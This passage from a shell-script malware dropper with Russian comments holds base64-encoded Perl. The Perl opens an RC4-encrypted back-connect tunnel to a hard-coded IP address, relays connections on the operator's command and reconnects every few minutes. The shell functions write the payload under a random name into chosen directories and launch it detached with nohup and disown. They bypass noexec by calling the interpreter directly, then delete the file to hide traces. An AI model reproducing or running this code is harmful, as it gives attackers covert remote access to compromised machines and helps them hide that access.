PSAkcG9ja2Vtb243OwoKCQkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkJICRwb2NrZW1vbjggPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KSA9ICRwb2NrZW1vbjg7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KSA9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwoJCgkJCSAkcG9ja2Vtb244ID0gJHBvY2tlbW9uOCAmIDI1NTsKCQkJIAoJCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjgsIDgpIF4gdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15ICRkb21haW47CgkgCgkgbXkgJHBvcnQwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkgbXkgQHNvY2tldGFycmF5OwoJIAoJIG15ICRidWZmZXIgPSAiXHgwMCIgeCAxMDA7CgkgCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJIAoJIG15ICRidWZmZXIwID0gIlx4MDAiIHggNjU1MzY7CgkgCgkgbXkgJGJ1ZmZlcjEgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkX3JldDAgPSAwOwoJIAoJIG15ICRlY3ggPSAwOwoJIAoJIG15ICRlYXggPSAwOwoJIAoJIG15ICRkYXRhID0gMDsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJIAoJIHNvY2tldCgkc29ja2V0YXJyWzBdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKICAgICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgNjU1MzYpOwoJIAoJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJceEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiR09PRFBFUkwiOwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbJGldLCAkYnVmZmVyMSwgNjU1MzAsIDMpOwoJCQkJIAoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7CgkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRpXSA9IDA7CgkJCQkJIAoJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskaV0pOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRpOwoJCSAKCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCQkgCgkJCQkJCSB2ZWMoJGJ1ZmZlcjEsIDAsIDgpID0gJGk7CgkJCQkJCSAKCQkJCQkJIHZlYygkc3RyX3dlYywgMCwgMTYpID0gJGRhdGE7CgkJCQkJCSAKCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJzdHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkJCQkgCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vic3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMCwgMyk7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMywgJGRhdGEpOwoJCQkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOwoJCQkgCgkJCSBuZXh0IGlmICgkcmV0IDwgMCk7CgkJCSAKCQkJIGlmICgkcmV0ID09IDApIHsKCQkJCSAKCQkJCSAkY291bnRlcisrOwoJCQkJIAoJCQkJIGlmICgkY291bnRlciA9PSAxMDAgKiA2MCkgewoJCQkJCSAKCQkJCQkgJGNvdW50ZXIgPSAwOwoKCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKCQkJCSAKCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCkpOwoJCQkJIH0KCQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJCQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZlcjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJCQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAkZWJ4ID4gMCAmJiAkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJCSAKCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgkJCQkJIAoJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJIAoJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsKCQkJCQoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJIAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgNCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAwKSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgJF9yZXQwID0gMDsKCQkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCQkJCQkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMTMpID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCA2NTUzNik7CgkJCQkJCSAKCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIHwgT19OT05CTE9DSyk7CgkJCQkJCSAKCQkJCQkJIGlmICh2ZWMoJGJ1ZmZlcjAsIDcsIDgpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKCRidWZmZXIwLCA4LCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoJGJ1ZmZlcjAsIDgsIDgpICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgOSArIHZlYygkYnVmZmVyMCwgOCwgOCkgKyAxLCAxKTsKCQkJCQkJCgkJCQkJCQkgJHBvcnQwID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzaWYgKHZlYygkYnVmZmVyMCwgNywgOCkgPT0gMSkgewoJCQkKCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoJGJ1ZmZlcjAsIDggKyAwLCA4KSwgdmVjKCRidWZmZXIwLCA4ICsgMSwgOCksIHZlYygkYnVmZmVyMCwgOCArIDIsIDgpLCB2ZWMoJGJ1ZmZlcjAsIDggKyAzLCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKTsKCQkJCQkJCSAKCQkJCQkJCSAkcG9ydDAgPSAgdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzZSB7CgkJCQoJCQkJCQkJIGdvdG8gY2xvc2VfOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBldmFsIHsKCQkJIAoJCQkJCQkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0MCwgaW5ldF9hdG9uKCRkb21haW4pKTsKCQkKCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7CgkJIAoJCQkJCQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAxOwoKCQkJCQkJCSB1bmxlc3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEpKSB7IGdvdG8gY2xvc2VfOyB9CgkJCQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CgkJIAoJCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDQsIDEpID0gIlx4MDAiOwoJCSAKCQkJCQkJCSAkX3JldDAgPSAxOwoJCQkgCgkJCQkJCSB9OwoJCSAKCQkJCQkJIGNsb3NlXzoKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSk7CgkJCQkJCSAKCQkJCQkJIGlmICgkX3JldDAgPT0gMCkgewoJCQkJCQkJIAoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJIAoJCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoJCQkJCQkJIAoJCQkJCQkJIHZlYygkcmVzcG9uY2UsIDAsIDgpID0gJGVieDsKCQkJCQkJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCAzLCAwKTsKCQkJCQkJCSAKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzaWYgKCRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwLCAkcmVtYWluaW5nLCA0KTsKCQkJCQkJIAoJCQkJCQkgCgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkgCgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHZlYygkYnVmZmVyMCwgMSwgOCk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMiwgMSk7CgkJCQkgCgkJCQkgJGVkeCA9IHZlYygkc3RyX3dlYywgMCwgMTYpOwoJCQkgCgkJCQkgJF9yZXQgPSAxOwoJCQl9CgkJCQoJCX0KCX0KCQoJIGNsb3NlMDoKCSAKCSBjbG9zZSgkc29ja2V0YXJyWzBdKTsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsKCgkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CgkJIAoJIH0KCSAKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCSAKCSByZXR1cm4gJF9yZXQ7Cgp9Cgp3aGlsZSgxKQp7CgkgYmNjbmN0KFwkaG9zdCwgXCRwb3J0KTsKCSAKCSBzbGVlcCAxODA7Cn0K B64_END if [ -s "$fpath" ]; then # Подготовка прав chmod 755 "$fpath" sync # === ЗАПУСК === if [ "$method" == "native" ]; then # МЕТОД 1: NATIVE (./script) - самый быстрый и "правильный" # Патчим путь к перлу в первой строке файла sed -i "1s|^#!.*|#!$perl_bin|" "$fpath" # Запускаем: nohup, фон, подавление вывода nohup "$fpath" >/dev/null 2>&1 & disown # Полная отвязка от шелла else # МЕТОД 2: INTERPRETER (perl script) - обходит noexec # Запускаем интерпретатор явно nohup "$perl_bin" "$fpath" >/dev/null 2>&1 & disown # Полная отвязка от шелла fi # === САМОУНИЧТОЖЕНИЕ ФАЙЛА === # Запускаем отдельный процесс, который поспит и удалит файл (sleep 10; rm -f "$fpath") >/dev/null 2>&1 & disown fi } f_17412d49() { local use_gold=$1 local idx=$2 local perl_bin="$3" local workdir="" local method="" # Выбираем папку из нужного списка if [ "$use_gold" = "true" ]; then workdir="${gold_dirs[$idx]}" method="native" else workdir="${silver_dirs[$idx]}" method="interpreter" fi # Защита от пустых путей if [ -z "$workdir" ]; then return; fi local rname="$(gen_rand_name).pl" local fpath="$workdir/$rname" # Распаковка Base64 base64 -d <<'B64_END' > "$fpath" IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNjQnOwpteSAkcG9ydCA9IDQwMDE7CgpteSAkeG9yZGF0YSA9ICJceDAwIiB4IDUwOwoKZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQoKc3ViIFJjNF9jcnlwdCB7CgkgCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7CgkgCgkgbXkgJGJ1ZmYwID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3ogPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKCSAKCSBteSAkcG9ja2Vtb24wID0gMDsKCQoJIG15ICRwb2NrZW1vbjEgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMiA9IDA7CgkKCSBteSAkcG9ja2Vtb24zID0gMDsKCQoJIG15ICRwb2NrZW1vbjQgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRyc2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7CgkgCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJIGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwoJCSAKCQkgJHBvY2tlbW9uMSArPSB2ZWMoJCRwYXNzdywgJHBvY2tlbW9uMiwgOCk7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpOwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KTsKCQkJIAoJCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkJICRwb2NrZW1vbjggPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KSA9ICRwb2NrZW1vbjg7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KSA9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwoJCgkJCSAkcG9ja2Vtb244ID0gJHBvY2tlbW9uOCAmIDI1NTsKCQkJIAoJCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjgsIDgpIF4gdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15ICRkb21haW47CgkgCgkgbXkgJHBvcnQwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkgbXkgQH